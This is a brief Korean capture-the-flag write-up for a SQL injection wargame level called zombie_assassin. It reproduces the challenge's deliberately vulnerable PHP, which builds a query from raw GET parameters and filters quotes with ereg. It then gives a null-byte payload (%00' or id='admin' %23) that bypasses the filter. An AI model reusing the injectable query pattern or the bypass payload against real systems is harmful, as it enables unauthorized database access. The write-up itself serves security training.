<?php
include "../config.php";
login_chk();
dbconnect();
if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(@ereg("'",$_GET[id])) exit("HeHe");
if(@ereg("'",$_GET[pw])) exit("HeHe");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
소스코드 분석
ereg함수를 통해 싱글 쿼터를 필터링 하고 있다.
이미 앞에서 troll에서 ereg함수에 대한 취약점에 대해 알아보았다.
풀이
ereg함수는 null이전의 문자열을 검사한다는 것과 대소문자를 구분하지 않는 다는 것이다.
즉 페이로드를 %00 ' 를 주게 되면 싱글쿼터가 정상적으로 들어가게 된다.
페이로드는
id=%00' or id='admin' %23과 같이 짜게 되면 된다.